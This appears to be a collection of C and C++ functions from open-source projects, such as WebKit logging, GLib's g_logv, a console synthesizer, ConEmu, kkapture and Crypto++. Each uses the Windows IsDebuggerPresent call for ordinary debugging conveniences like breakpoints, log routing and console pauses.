static void vprintf_stderr_common(const char* format, va_list args) { #if PLATFORM(MAC) if (strstr(format, "%@")) { CFStringRef cfFormat = CFStringCreateWithCString(NULL, format, kCFStringEncodingUTF8); #if COMPILER(CLANG) #pragma clang diagnostic push #pragma clang diagnostic ignored "-Wformat-nonliteral" #endif CFStringRef str = CFStringCreateWithFormatAndArguments(NULL, NULL, cfFormat, args); #if COMPILER(CLANG) #pragma clang diagnostic pop #endif CFIndex length = CFStringGetMaximumSizeForEncoding(CFStringGetLength(str), kCFStringEncodingUTF8); char* buffer = (char*)malloc(length + 1); CFStringGetCString(str, buffer, length, kCFStringEncodingUTF8); #if PLATFORM(IOS) || __MAC_OS_X_VERSION_MIN_REQUIRED >= 1080 asl_log(0, 0, ASL_LEVEL_NOTICE, "%s", buffer); #endif fputs(buffer, stderr); free(buffer); CFRelease(str); CFRelease(cfFormat); return; } #if PLATFORM(IOS) || __MAC_OS_X_VERSION_MIN_REQUIRED >= 1080 va_list copyOfArgs; va_copy(copyOfArgs, args); asl_vlog(0, 0, ASL_LEVEL_NOTICE, format, copyOfArgs); va_end(copyOfArgs); #endif // Fall through to write to stderr in the same manner as other platforms. #elif PLATFORM(BLACKBERRY) BBLOGV(BlackBerry::Platform::LogLevelCritical, format, args); #elif OS(ANDROID) __android_log_vprint(ANDROID_LOG_WARN, "WebKit", format, args); #elif HAVE(ISDEBUGGERPRESENT) if (IsDebuggerPresent()) { size_t size = 1024; do { char* buffer = (char*)malloc(size); if (buffer == NULL) break; if (_vsnprintf(buffer, size, format, args) != -1) { #if OS(WINCE) // WinCE only supports wide chars wchar_t* wideBuffer = (wchar_t*)malloc(size * sizeof(wchar_t)); if (wideBuffer == NULL) break; for (unsigned int i = 0; i < size; ++i) { if (!(wideBuffer[i] = buffer[i])) break; } OutputDebugStringW(wideBuffer); free(wideBuffer); #else OutputDebugStringA(buffer); #endif free(buffer); break; } free(buffer); size *= 2; } while (size > 1024); } #endif #if !PLATFORM(BLACKBERRY) vfprintf(stderr, format, args); #endif }
void __cdecl main(int argc, char **argv) { HANDLE hIn = GetStdHandle(STD_INPUT_HANDLE); HANDLE hOut = GetStdHandle(STD_OUTPUT_HANDLE); int running = 1; #ifdef WIN32 if (IsDebuggerPresent()) { // turn on floating-point exceptions unsigned int prev; _clearfp(); _controlfp_s(&prev, 0, _EM_ZERODIVIDE|_EM_INVALID); } #endif // check the correct BASS was loaded if (HIWORD(BASS_GetVersion()) != BASSVERSION) { fprintf(stderr, "An incorrect version of BASS.DLL was loaded"); return; } // set the window title SetConsoleTitle(TEXT(title_text)); // set the console buffer size static const COORD bufferSize = { 80, 50 }; SetConsoleScreenBufferSize(hOut, bufferSize); // set the console window size static const SMALL_RECT windowSize = { 0, 0, 79, 49 }; SetConsoleWindowInfo(hOut, TRUE, &windowSize); // clear the window Clear(hOut); // hide the cursor static const CONSOLE_CURSOR_INFO cursorInfo = { 100, FALSE }; SetConsoleCursorInfo(hOut, &cursorInfo); // set input mode SetConsoleMode(hIn, 0); // 10ms update period const DWORD STREAM_UPDATE_PERIOD = 10; BASS_SetConfig(BASS_CONFIG_UPDATEPERIOD, STREAM_UPDATE_PERIOD); // initialize BASS sound library const DWORD STREAM_FREQUENCY = 48000; if (!BASS_Init(-1, STREAM_FREQUENCY, BASS_DEVICE_LATENCY, 0, NULL)) Error("Can't initialize device"); // get device info BASS_GetInfo(&info); // if the device's output rate is unknown default to stream frequency if (!info.freq) info.freq = STREAM_FREQUENCY; // debug print info DebugPrint("frequency: %d (min %d, max %d)\n", info.freq, info.minrate, info.maxrate); DebugPrint("device latency: %dms\n", info.latency); DebugPrint("device minbuf: %dms\n", info.minbuf); DebugPrint("ds version: %d (effects %s)\n", info.dsver, info.dsver < 8 ? "disabled" : "enabled"); // default buffer size = update period + 'minbuf' + 1ms extra margin BASS_SetConfig(BASS_CONFIG_BUFFER, STREAM_UPDATE_PERIOD + info.minbuf + 1); DebugPrint("using a %dms buffer\r", BASS_GetConfig(BASS_CONFIG_BUFFER)); // create a stream, stereo so that effects sound nice stream = BASS_StreamCreate(info.freq, 2, BASS_SAMPLE_FLOAT, (STREAMPROC*)WriteStream, 0); // set channel to apply effects fx_channel = stream; #ifdef BANDLIMITED_SAWTOOTH // initialize bandlimited sawtooth tables InitSawtooth(); #endif // initialize waves InitWave(); // enable the first oscillator osc_config[0].enable = true; // reset all controllers Control::ResetAll(); // start playing the audio stream BASS_ChannelPlay(stream, FALSE); // get the number of midi devices UINT midiInDevs = Midi::Input::GetNumDevices(); DebugPrint("MIDI input devices: %d\n", midiInDevs); // print device names for (UINT i = 0; i < midiInDevs; ++i) { MIDIINCAPS midiInCaps; if (Midi::Input::GetDeviceCaps(i, midiInCaps) == 0) { DebugPrint("%d: %s\n", i, midiInCaps.szPname); } } // if there are any devices available... if (midiInDevs > 0) { // open and start midi input // TO DO: select device number via a configuration setting Midi::Input::Open(0); Midi::Input::Start(); } // initialize to middle c note_most_recent = 60; voice_note[voice_most_recent] = unsigned char(note_most_recent); DisplaySpectrumAnalyzer displaySpectrumAnalyzer; DisplayKeyVolumeEnvelope displayKeyVolumeEnvelope; DisplayOscillatorWaveform displayOscillatorWaveform; DisplayOscillatorFrequency displayOscillatorFrequency; DisplayLowFrequencyOscillator displayLowFrequencyOscillator; DisplayFilterFrequency displayFilterFrequency; // initialize spectrum analyzer displaySpectrumAnalyzer.Init(stream, info); // initialize key display displayKeyVolumeEnvelope.Init(hOut); // show output scale and key octave PrintOutputScale(hOut); PrintKeyOctave(hOut); PrintGoToEffects(hOut); PrintAntialias(hOut); // show main page Menu::SetActivePage(hOut, Menu::PAGE_MAIN); while (running) { // if there are any pending input events... DWORD numEvents = 0; while (GetNumberOfConsoleInputEvents(hIn, &numEvents) && numEvents > 0) { // get the next input event INPUT_RECORD keyin; ReadConsoleInput(hIn, &keyin, 1, &numEvents); if (keyin.EventType == KEY_EVENT) { // handle interface keys if (keyin.Event.KeyEvent.bKeyDown) { WORD code = keyin.Event.KeyEvent.wVirtualKeyCode; DWORD modifiers = keyin.Event.KeyEvent.dwControlKeyState; if (code == VK_ESCAPE) { running = 0; break; } else if (code == VK_OEM_MINUS || code == VK_SUBTRACT) { Menu::UpdatePercentageProperty(output_scale, -1, modifiers, 0, 4); PrintOutputScale(hOut); } else if (code == VK_OEM_PLUS || code == VK_ADD) { Menu::UpdatePercentageProperty(output_scale, +1, modifiers, 0, 4); PrintOutputScale(hOut); } else if (code == VK_OEM_4) // '[' { if (keyboard_octave > 1) { for (int k = 0; k < KEYS; ++k) { if (key_down[k]) NoteOff(k + keyboard_octave * 12); } --keyboard_octave; for (int k = 0; k < KEYS; ++k) { if (key_down[k]) NoteOn(k + keyboard_octave * 12); } PrintKeyOctave(hOut); } } else if (code == VK_OEM_6) // ']' { if (keyboard_octave < 9) { for (int k = 0; k < KEYS; ++k) { if (key_down[k]) NoteOff(k + keyboard_octave * 12); } ++keyboard_octave; for (int k = 0; k < KEYS; ++k) { if (key_down[k]) NoteOn(k + keyboard_octave * 12); } PrintKeyOctave(hOut); } } else if (code == VK_F12) { use_antialias = !use_antialias; PrintAntialias(hOut); } else if (code >= VK_F1 && code < VK_F10) { Menu::SetActiveMenu(hOut, code - VK_F1); } else if (code == VK_F10) { PrintGoToEffects(hOut); Menu::SetActivePage(hOut, Menu::PAGE_MAIN); } else if (code == VK_F11) { PrintGoToMain(hOut); Menu::SetActivePage(hOut, Menu::PAGE_FX); } else if (code == VK_TAB) { if (modifiers & SHIFT_PRESSED) Menu::PrevMenu(hOut); else Menu::NextMenu(hOut); } else if (code == VK_UP || code == VK_DOWN || code == VK_RIGHT || code == VK_LEFT) { Menu::Handler(hOut, code, modifiers); } } // handle note keys for (int k = 0; k < KEYS; k++) { if (keyin.Event.KeyEvent.wVirtualKeyCode == keys[k]) { // key down bool down = (keyin.Event.KeyEvent.bKeyDown != 0); // if key down state changed... if (key_down[k] != down) { // update state key_down[k] = down; // if pressing the key if (down) { // note on NoteOn(k + keyboard_octave * 12); } else { // note off NoteOff(k + keyboard_octave * 12); } } break; } } } } // center frequency of the zeroth semitone band // (one octave down from the lowest key) float const freq_min = powf(2, float(keyboard_octave - 6)) * middle_c_frequency; // update the spectrum analyzer display displaySpectrumAnalyzer.Update(hOut, stream, info, freq_min); // update note key volume envelope display displayKeyVolumeEnvelope.Update(hOut); if (Menu::active_page == Menu::PAGE_MAIN) { // update the oscillator waveform display displayOscillatorWaveform.Update(hOut, info, voice_most_recent); // update the oscillator frequency displays for (int o = 0; o < NUM_OSCILLATORS; ++o) { if (osc_config[o].enable) displayOscillatorFrequency.Update(hOut, voice_most_recent, o); } // update the low-frequency oscillator display displayLowFrequencyOscillator.Update(hOut); // update the filter frequency display if (flt_config.enable) displayFilterFrequency.Update(hOut, voice_most_recent); } // show CPU usage PrintConsole(hOut, { 73, 49 }, "%6.2f%%", BASS_GetCPU()); // sleep for 1/60th of second Sleep(16); } if (midiInDevs) { // stop and close midi input Midi::Input::Stop(); Midi::Input::Close(); } // clean up spectrum analyzer displaySpectrumAnalyzer.Cleanup(stream); // clear the window Clear(hOut); BASS_Free(); }
void LogConfigWindow::CreateGUIControls() { // Verbosity wxArrayString wxLevels, wxLevelsUse; wxLevels.Add(_("Notice")); wxLevels.Add(_("Error")); wxLevels.Add(_("Warning")); wxLevels.Add(_("Info")); wxLevels.Add(_("Debug")); for (int i = 0; i < MAX_LOGLEVEL; ++i) wxLevelsUse.Add(wxLevels[i]); m_verbosity = new wxRadioBox(this, wxID_ANY, _("Verbosity"), wxDefaultPosition, wxDefaultSize, wxLevelsUse, 0, wxRA_SPECIFY_ROWS); m_verbosity->Bind(wxEVT_RADIOBOX, &LogConfigWindow::OnVerbosityChange, this); // Options m_writeFileCB = new wxCheckBox(this, wxID_ANY, _("Write to File")); m_writeFileCB->Bind(wxEVT_CHECKBOX, &LogConfigWindow::OnWriteFileChecked, this); m_writeConsoleCB = new wxCheckBox(this, wxID_ANY, _("Write to Console")); m_writeConsoleCB->Bind(wxEVT_CHECKBOX, &LogConfigWindow::OnWriteConsoleChecked, this); m_writeWindowCB = new wxCheckBox(this, wxID_ANY, _("Write to Window")); m_writeWindowCB->Bind(wxEVT_CHECKBOX, &LogConfigWindow::OnWriteWindowChecked, this); m_writeDebuggerCB = nullptr; #ifdef _MSC_VER if (IsDebuggerPresent()) { m_writeDebuggerCB = new wxCheckBox(this, wxID_ANY, _("Write to Debugger")); m_writeDebuggerCB->Bind(wxEVT_CHECKBOX, &LogConfigWindow::OnWriteDebuggerChecked, this); } #endif wxButton *btn_toggle_all = new wxButton(this, wxID_ANY, _("Toggle All Log Types"), wxDefaultPosition, wxDefaultSize, wxBU_EXACTFIT); btn_toggle_all->Bind(wxEVT_BUTTON, &LogConfigWindow::OnToggleAll, this); m_checks = new wxCheckListBox(this, wxID_ANY); m_checks->Bind(wxEVT_CHECKLISTBOX, &LogConfigWindow::OnLogCheck, this); for (int i = 0; i < LogTypes::NUMBER_OF_LOGS; i++) m_checks->Append(StrToWxStr(m_LogManager->GetFullName((LogTypes::LOG_TYPE)i))); // Sizers wxStaticBoxSizer* sbOutputs = new wxStaticBoxSizer(wxVERTICAL, this, _("Logger Outputs")); sbOutputs->Add(m_writeFileCB, 0, wxDOWN, 1); sbOutputs->Add(m_writeConsoleCB, 0, wxDOWN, 1); #ifdef _MSC_VER if (m_writeDebuggerCB) { sbOutputs->Add(m_writeWindowCB, 0, wxDOWN, 1); sbOutputs->Add(m_writeDebuggerCB, 0); } else #endif { sbOutputs->Add(m_writeWindowCB, 0); } wxStaticBoxSizer* sbLogTypes = new wxStaticBoxSizer(wxVERTICAL, this, _("Log Types")); sbLogTypes->Add(m_checks, 1, wxEXPAND); wxBoxSizer *sMain = new wxBoxSizer(wxVERTICAL); sMain->Add(m_verbosity, 0, wxEXPAND | wxLEFT | wxRIGHT, 5); sMain->Add(sbOutputs, 0, wxEXPAND | wxLEFT | wxRIGHT, 5); sMain->Add(btn_toggle_all, 0, wxEXPAND | wxLEFT | wxRIGHT, 5); sMain->Add(sbLogTypes, 1, wxEXPAND | wxLEFT | wxRIGHT, 5); SetSizer(sMain); Layout(); }
int main(int argc, char** argv) { int iRc = 0; HMODULE hConEmu; char szErrInfo[512]; DWORD dwErr, dwOut; typedef int (__stdcall* ConsoleMain2_t)(BOOL abAlternative); ConsoleMain2_t lfConsoleMain2; #if defined(SHOW_STARTED_MSGBOX) if (!IsDebuggerPresent()) { wchar_t szTitle[100]; _wsprintf(szTitle, SKIPLEN(countof(szTitle)) WIN3264TEST(L"ConEmuC",L"ConEmuC64") L" Loaded (PID=%i)", GetCurrentProcessId()); const wchar_t* pszCmdLine = GetCommandLineW(); MessageBox(NULL,pszCmdLine,szTitle,0); } #endif // Обязательно, иначе по CtrlC мы свалимся SetConsoleCtrlHandler((PHANDLER_ROUTINE)HandlerRoutine, true); #ifdef _DEBUG UnitTests(); #endif hConEmu = LoadLibrary(WIN3264TEST(L"ConEmuCD.dll",L"ConEmuCD64.dll")); dwErr = GetLastError(); if (!hConEmu) { _wsprintfA(szErrInfo, SKIPLEN(countof(szErrInfo)) "Can't load library \"%s\", ErrorCode=0x%08X\n", WIN3264TEST(L"ConEmuCD.dll",L"ConEmuCD64.dll"), dwErr); WriteConsoleA(GetStdHandle(STD_ERROR_HANDLE), szErrInfo, lstrlenA(szErrInfo), &dwOut, NULL); return CERR_CONEMUHK_NOTFOUND; } // Загрузить функи из ConEmuHk lfConsoleMain2 = (ConsoleMain2_t)GetProcAddress(hConEmu, "ConsoleMain2"); gfHandlerRoutine = (PHANDLER_ROUTINE)GetProcAddress(hConEmu, "HandlerRoutine"); if (!lfConsoleMain2 || !gfHandlerRoutine) { dwErr = GetLastError(); _wsprintfA(szErrInfo, SKIPLEN(countof(szErrInfo)) "Procedure \"%s\" not found in library \"%s\"", lfConsoleMain2 ? "HandlerRoutine" : "ConsoleMain2", WIN3264TEST(L"ConEmuCD.dll",L"ConEmuCD64.dll")); WriteConsoleW(GetStdHandle(STD_ERROR_HANDLE), szErrInfo, lstrlenA(szErrInfo), &dwOut, NULL); FreeLibrary(hConEmu); return CERR_CONSOLEMAIN_NOTFOUND; } // Main dll entry point for Server & ComSpec iRc = lfConsoleMain2(0/*WorkMode*/); // Exiting gfHandlerRoutine = NULL; //FreeLibrary(hConEmu); -- Shutdown Server/Comspec уже выполнен ExitProcess(iRc); return iRc; }
static void init() { bool error = true; HANDLE hMapping = OpenFileMapping(FILE_MAP_READ,FALSE,_T("__kkapture_parameter_block")); if(hMapping == 0) // no parameter block available. return; InitializeCriticalSection(&shuttingDown); // initialize params with all zero (ahem) initLog(); printLog("main: initializing...\n"); memset(¶ms,0,sizeof(params)); // get file mapping containing capturing info ParameterBlock *block = (ParameterBlock *) MapViewOfFile(hMapping,FILE_MAP_READ,0,0,sizeof(ParameterBlock)); if(block) { // correct version if(block->VersionTag == PARAMVERSION) { memcpy(¶ms,block,sizeof(params)); error = false; } UnmapViewOfFile(block); } CloseHandle(hMapping); // if kkapture is being debugged, wait for the user to attach the debugger to this process if(params.IsDebugged) { // create message window HWND waiting = CreateWindowEx(0,"STATIC", "Please attach debugger now.",WS_POPUP|WS_DLGFRAME|SS_CENTER|SS_CENTERIMAGE,0,0,240,50,0,0, GetModuleHandle(0),0); SendMessage(waiting,WM_SETFONT,(WPARAM) GetStockObject(DEFAULT_GUI_FONT),TRUE); // center it RECT rcWork,rcDlg; SystemParametersInfo(SPI_GETWORKAREA,0,&rcWork,0); GetWindowRect(waiting,&rcDlg); SetWindowPos(waiting,0,(rcWork.left+rcWork.right-rcDlg.right+rcDlg.left)/2, (rcWork.top+rcWork.bottom-rcDlg.bottom+rcDlg.top)/2,-1,-1,SWP_NOSIZE | SWP_NOZORDER | SWP_NOACTIVATE); // show it and wait for user to attach debugger ShowWindow(waiting,SW_SHOW); while(!IsDebuggerPresent()) { MSG msg; while(PeekMessage(&msg,0,0,0,PM_REMOVE)) { TranslateMessage(&msg); DispatchMessage(&msg); } Sleep(10); } // user has attached the debugger, bring window to foreground then destroy it SetForegroundWindow(waiting); ShowWindow(waiting,SW_HIDE); MessageBox(waiting,"Debugger attached, set any breakpoints etc. you need to and press OK.","kkapture", MB_ICONINFORMATION|MB_OK); DestroyWindow(waiting); } // rest of initialization code initTiming(true); initVideo(); initSound(); initProcessIntercept(); printLog("main: all main components initialized.\n"); if(error) { printLog("main: couldn't access parameter block or wrong version\n"); frameRateScaled = 1000; frameRateDenom = 100; encoder = new DummyVideoEncoder; } else { printLog("main: reading parameter block...\n"); frameRateScaled = params.FrameRateNum; frameRateDenom = params.FrameRateDenom; encoder = 0; } // install our hook so we get notified of process exit (hopefully) HookFunction(&Real_ExitProcess, Mine_ExitProcess); hHookThread = (HANDLE) _beginthread(HookThreadProc,0,0); initialized = true; printLog("main: initialization done\n"); }
extern "C" __declspec (dllexport) inline BOOL IsDebuggerAttached() { BOOL remoteDebugger; CheckRemoteDebuggerPresent(GetCurrentProcess(), &remoteDebugger); return IsDebuggerPresent() || remoteDebugger; }
int main(int argc, char* argv[]) { // Enable memory leak checks and heap validation. _CrtSetDbgFlag(_CRTDBG_ALLOC_MEM_DF | _CRTDBG_CHECK_ALWAYS_DF | _CRTDBG_LEAK_CHECK_DF); _CrtSetBreakAlloc(-1); int exitCode = EXIT_SUCCESS; // Create the memory debugger. PMemoryDebugger::create(); PActivity* activity = PNEW(PActivity(argc, argv)); if (!activity->initialize()) { PDELETE(activity); return EXIT_FAILURE; } pMain(argc, argv); // Set console title. SetConsoleTitle(L"Console"); // Disable the close button of the console window. HWND hConsoleWindow = GetConsoleWindow(); if (hConsoleWindow != NULL) { HMENU hMenu = GetSystemMenu(hConsoleWindow, 0); if (hMenu != NULL) { DeleteMenu(hMenu, SC_CLOSE, MF_BYCOMMAND); DrawMenuBar(hConsoleWindow); } } PContext* context = activity->findContext(puint32(0)); PASSERT(context != P_NULL); if (context == P_NULL) { exitCode = EXIT_FAILURE; PDELETE(activity); return exitCode; } PWin32Window window(context); if (!window.create()) { exitCode = EXIT_FAILURE; PDELETE(activity); return exitCode; } // Initialize the context. context->setState(P_CONTEXT_STATE_UNINITIALIZED); if (!context->initialize(context->properties()->m_windowWidth, context->properties()->m_windowHeight)) { exitCode = EXIT_FAILURE; } else { if (!context->onInitialized()) { context->setState(P_CONTEXT_STATE_ERROR); } else { PLOG_DEBUG("Starting program main loop"); context->setState(P_CONTEXT_STATE_RUNNING); } if (context->state() == P_CONTEXT_STATE_ERROR) { exitCode = EXIT_FAILURE; } // The mainloop of window. window.run(); // Right before destroy the context, user might have // something to do. context->onDestroy(); } context->destroy(); // Destroy native window. window.destroy(); // Destroy the activity activity->uninitialize(); PDELETE(activity); // Destroy the memory debugger. PMemoryDebugger::destroy(); // If debugger is present, a pause is required to keep the console output // visible. Otherwise the pause is automatic. if (IsDebuggerPresent()) { system("pause"); } return exitCode; }
extern "C" __declspec (dllexport) inline BOOL IsLocalDebuggerAttached() { return IsDebuggerPresent(); }
int main(int argc, char* argv[]) { int exitCode = EXIT_SUCCESS; PActivity* activity = pNew(PActivity(argc, argv)); // Enable memory leak checks and heap validation. _CrtSetDbgFlag(_CRTDBG_ALLOC_MEM_DF | _CRTDBG_CHECK_ALWAYS_DF | _CRTDBG_LEAK_CHECK_DF); _CrtSetBreakAlloc(-1); pMain(argc, argv); // Set console title. SetConsoleTitle(L"protoss debug console"); // Disable the close button of the console window. HWND hConsoleWindow = GetConsoleWindow(); if (hConsoleWindow != NULL) { HMENU hMenu = GetSystemMenu(hConsoleWindow, 0); if (hMenu != NULL) { DeleteMenu(hMenu, SC_CLOSE, MF_BYCOMMAND); DrawMenuBar(hConsoleWindow); } } PContext* context = activity->findContext(pUint32(0)); pAssert(context != P_NULL); if (context == P_NULL) { exitCode = EXIT_FAILURE; pDelete(activity); return exitCode; } PWin32Window window(context); if (!window.create()) { exitCode = EXIT_FAILURE; pDelete(activity); return exitCode; } // Initialize the context. // kzaPlatformSetInstanceHandle(context, GetModuleHandle(NULL)); context->setState(P_CONTEXT_STATE_UNINITIALIZED); if (!context->initialize()) { exitCode = EXIT_FAILURE; } if (!context->onInitialized()) { context->setState(P_CONTEXT_STATE_ERROR); } else { pLogDebug("Starting program main loop"); context->setState(P_CONTEXT_STATE_RUNNING); } if (context->getState() == P_CONTEXT_STATE_ERROR) { exitCode = EXIT_FAILURE; } // The mainloop of window. window.run(); // Right before destroy the context, user might have // something to do. context->onDestroy(); context->destroy(); // Destroy native window. window.destroy(); // Destroy the activity pDelete(activity); // If debugger is present, a pause is required to keep the console output // visible. Otherwise the pause is automatic. if (IsDebuggerPresent()) { system("pause"); } return exitCode; }
int process_start(char *name, char *part, process_info_t *p) { HANDLE file = INVALID_HANDLE_VALUE; HANDLE nul = INVALID_HANDLE_VALUE; WCHAR path[MAX_PATH], filename[MAX_PATH]; WCHAR image[MAX_PATH + 1]; WCHAR args[MAX_PATH * 2]; STARTUPINFOW si; PROCESS_INFORMATION pi; DWORD result; DWORD creation_flags; if (GetTempPathW(sizeof(path) / sizeof(WCHAR), (WCHAR*)&path) == 0) goto error; if (GetTempFileNameW((WCHAR*)&path, L"uv", 0, (WCHAR*)&filename) == 0) goto error; file = CreateFileW((WCHAR*)filename, GENERIC_READ | GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_TEMPORARY | FILE_FLAG_DELETE_ON_CLOSE, NULL); if (file == INVALID_HANDLE_VALUE) goto error; if (!SetHandleInformation(file, HANDLE_FLAG_INHERIT, HANDLE_FLAG_INHERIT)) goto error; nul = CreateFileA("nul", GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); if (nul == INVALID_HANDLE_VALUE) goto error; if (!SetHandleInformation(nul, HANDLE_FLAG_INHERIT, HANDLE_FLAG_INHERIT)) goto error; result = GetModuleFileNameW(NULL, (WCHAR*)&image, sizeof(image) / sizeof(WCHAR)); if (result == 0 || result == sizeof(image)) goto error; if (part) { if (_snwprintf((wchar_t*)args, sizeof(args) / sizeof(wchar_t), L"\"%s\" %S %S", image, name, part) < 0) { goto error; } } else { if (_snwprintf((wchar_t*)args, sizeof(args) / sizeof(wchar_t), L"\"%s\" %S", image, name) < 0) { goto error; } } memset((void*)&si, 0, sizeof(si)); si.cb = sizeof(si); si.dwFlags = STARTF_USESTDHANDLES; si.hStdInput = nul; si.hStdOutput = file; si.hStdError = file; creation_flags = IsDebuggerPresent() ? CREATE_SUSPENDED : 0; if (!CreateProcessW(image, args, NULL, NULL, TRUE, creation_flags, NULL, NULL, &si, &pi)) goto error; if (IsDebuggerPresent()) { ResumeThread(pi.hThread); } CloseHandle(pi.hThread); SetHandleInformation(nul, HANDLE_FLAG_INHERIT, 0); SetHandleInformation(file, HANDLE_FLAG_INHERIT, 0); p->stdio_in = nul; p->stdio_out = file; p->process = pi.hProcess; p->name = name; return 0; error: if (file != INVALID_HANDLE_VALUE) CloseHandle(file); if (nul != INVALID_HANDLE_VALUE) CloseHandle(nul); return -1; }
void g_logv (const gchar *log_domain, GLogLevelFlags log_level, const gchar *format, va_list args1) { gboolean was_fatal = (log_level & G_LOG_FLAG_FATAL) != 0; gboolean was_recursion = (log_level & G_LOG_FLAG_RECURSION) != 0; gint i; log_level &= G_LOG_LEVEL_MASK; if (!log_level) return; for (i = g_bit_nth_msf (log_level, -1); i >= 0; i = g_bit_nth_msf (log_level, i)) { register GLogLevelFlags test_level; test_level = 1 << i; if (log_level & test_level) { guint depth = GPOINTER_TO_UINT (g_private_get (g_log_depth)); GLogDomain *domain; GLogFunc log_func; GLogLevelFlags domain_fatal_mask; gpointer data = NULL; gboolean masquerade_fatal = FALSE; if (was_fatal) test_level |= G_LOG_FLAG_FATAL; if (was_recursion) test_level |= G_LOG_FLAG_RECURSION; /* check recursion and lookup handler */ g_mutex_lock (g_messages_lock); domain = g_log_find_domain_L (log_domain ? log_domain : ""); if (depth) test_level |= G_LOG_FLAG_RECURSION; depth++; domain_fatal_mask = domain ? domain->fatal_mask : G_LOG_FATAL_MASK; if ((domain_fatal_mask | g_log_always_fatal) & test_level) test_level |= G_LOG_FLAG_FATAL; if (test_level & G_LOG_FLAG_RECURSION) log_func = _g_log_fallback_handler; else log_func = g_log_domain_get_handler_L (domain, test_level, &data); domain = NULL; g_mutex_unlock (g_messages_lock); g_private_set (g_log_depth, GUINT_TO_POINTER (depth)); /* had to defer debug initialization until we can keep track of recursion */ if (!(test_level & G_LOG_FLAG_RECURSION) && !_g_debug_initialized) { GLogLevelFlags orig_test_level = test_level; _g_debug_init (); if ((domain_fatal_mask | g_log_always_fatal) & test_level) test_level |= G_LOG_FLAG_FATAL; if (test_level != orig_test_level) { /* need a relookup, not nice, but not too bad either */ g_mutex_lock (g_messages_lock); domain = g_log_find_domain_L (log_domain ? log_domain : ""); log_func = g_log_domain_get_handler_L (domain, test_level, &data); domain = NULL; g_mutex_unlock (g_messages_lock); } } if (test_level & G_LOG_FLAG_RECURSION) { /* we use a stack buffer of fixed size, since we're likely * in an out-of-memory situation */ gchar buffer[1025]; gsize size G_GNUC_UNUSED; va_list args2; G_VA_COPY (args2, args1); size = _g_vsnprintf (buffer, 1024, format, args2); va_end (args2); log_func (log_domain, test_level, buffer, data); } else { gchar *msg; va_list args2; G_VA_COPY (args2, args1); msg = g_strdup_vprintf (format, args2); va_end (args2); log_func (log_domain, test_level, msg, data); if ((test_level & G_LOG_FLAG_FATAL) && !(test_level & G_LOG_LEVEL_ERROR)) { masquerade_fatal = fatal_log_func && !fatal_log_func (log_domain, test_level, msg, data); } g_free (msg); } if ((test_level & G_LOG_FLAG_FATAL) && !masquerade_fatal) { #ifdef G_OS_WIN32 gchar *locale_msg = g_locale_from_utf8 (fatal_msg_buf, -1, NULL, NULL, NULL); MessageBox (NULL, locale_msg, NULL, MB_ICONERROR|MB_SETFOREGROUND); if (IsDebuggerPresent () && !(test_level & G_LOG_FLAG_RECURSION)) G_BREAKPOINT (); else abort (); #else if (!(test_level & G_LOG_FLAG_RECURSION)) G_BREAKPOINT (); else abort (); #endif /* !G_OS_WIN32 */ } depth--; g_private_set (g_log_depth, GUINT_TO_POINTER (depth)); } } }
void Debug::Break() { if(IsDebuggerPresent()) __debugbreak(); }
bool IntegrityCheckModule(const char *moduleFilename, const byte *expectedModuleMac, SecByteBlock *pActualMac, unsigned long *pMacFileLocation) { std::auto_ptr<MessageAuthenticationCode> mac(NewIntegrityCheckingMAC()); unsigned int macSize = mac->DigestSize(); SecByteBlock tempMac; SecByteBlock &actualMac = pActualMac ? *pActualMac : tempMac; actualMac.resize(macSize); unsigned long tempLocation; unsigned long &macFileLocation = pMacFileLocation ? *pMacFileLocation : tempLocation; macFileLocation = 0; MeterFilter verifier(new HashFilter(*mac, new ArraySink(actualMac, actualMac.size()))); // MeterFilter verifier(new FileSink("c:\\dt.tmp")); std::ifstream moduleStream; #ifdef CRYPTOPP_WIN32_AVAILABLE HMODULE h; { char moduleFilenameBuf[MAX_PATH] = ""; if (moduleFilename == NULL) { #if (defined(_MSC_VER) && _MSC_VER >= 1400) // ifstream doesn't support wide filename on other compilers wchar_t wideModuleFilename[MAX_PATH]; if (GetModuleFileNameW(s_hModule, wideModuleFilename, MAX_PATH) > 0) { moduleStream.open(wideModuleFilename, std::ios::in | std::ios::binary); h = GetModuleHandleW(wideModuleFilename); } else #endif { GetModuleFileNameA(s_hModule, moduleFilenameBuf, MAX_PATH); moduleFilename = moduleFilenameBuf; } } #endif if (moduleFilename != NULL) { moduleStream.open(moduleFilename, std::ios::in | std::ios::binary); #ifdef CRYPTOPP_WIN32_AVAILABLE h = GetModuleHandleA(moduleFilename); moduleFilename = NULL; } #endif } if (!moduleStream) { #ifdef CRYPTOPP_WIN32_AVAILABLE OutputDebugString("Crypto++ DLL integrity check failed. Cannot open file for reading."); #endif return false; } FileStore file(moduleStream); #ifdef CRYPTOPP_WIN32_AVAILABLE // try to hash from memory first const byte *memBase = (const byte *)h; const IMAGE_DOS_HEADER *ph = (IMAGE_DOS_HEADER *)memBase; const IMAGE_NT_HEADERS *phnt = (IMAGE_NT_HEADERS *)(memBase + ph->e_lfanew); const IMAGE_SECTION_HEADER *phs = IMAGE_FIRST_SECTION(phnt); DWORD nSections = phnt->FileHeader.NumberOfSections; size_t currentFilePos = 0; size_t checksumPos = (byte *)&phnt->OptionalHeader.CheckSum - memBase; size_t checksumSize = sizeof(phnt->OptionalHeader.CheckSum); size_t certificateTableDirectoryPos = (byte *)&phnt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_SECURITY] - memBase; size_t certificateTableDirectorySize = sizeof(phnt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_SECURITY]); size_t certificateTablePos = phnt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_SECURITY].VirtualAddress; size_t certificateTableSize = phnt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_SECURITY].Size; verifier.AddRangeToSkip(0, checksumPos, checksumSize); verifier.AddRangeToSkip(0, certificateTableDirectoryPos, certificateTableDirectorySize); verifier.AddRangeToSkip(0, certificateTablePos, certificateTableSize); while (nSections--) { switch (phs->Characteristics) { default: break; case IMAGE_SCN_CNT_CODE | IMAGE_SCN_MEM_EXECUTE | IMAGE_SCN_MEM_READ: case IMAGE_SCN_CNT_INITIALIZED_DATA | IMAGE_SCN_MEM_READ: unsigned int sectionSize = STDMIN(phs->SizeOfRawData, phs->Misc.VirtualSize); const byte *sectionMemStart = memBase + phs->VirtualAddress; unsigned int sectionFileStart = 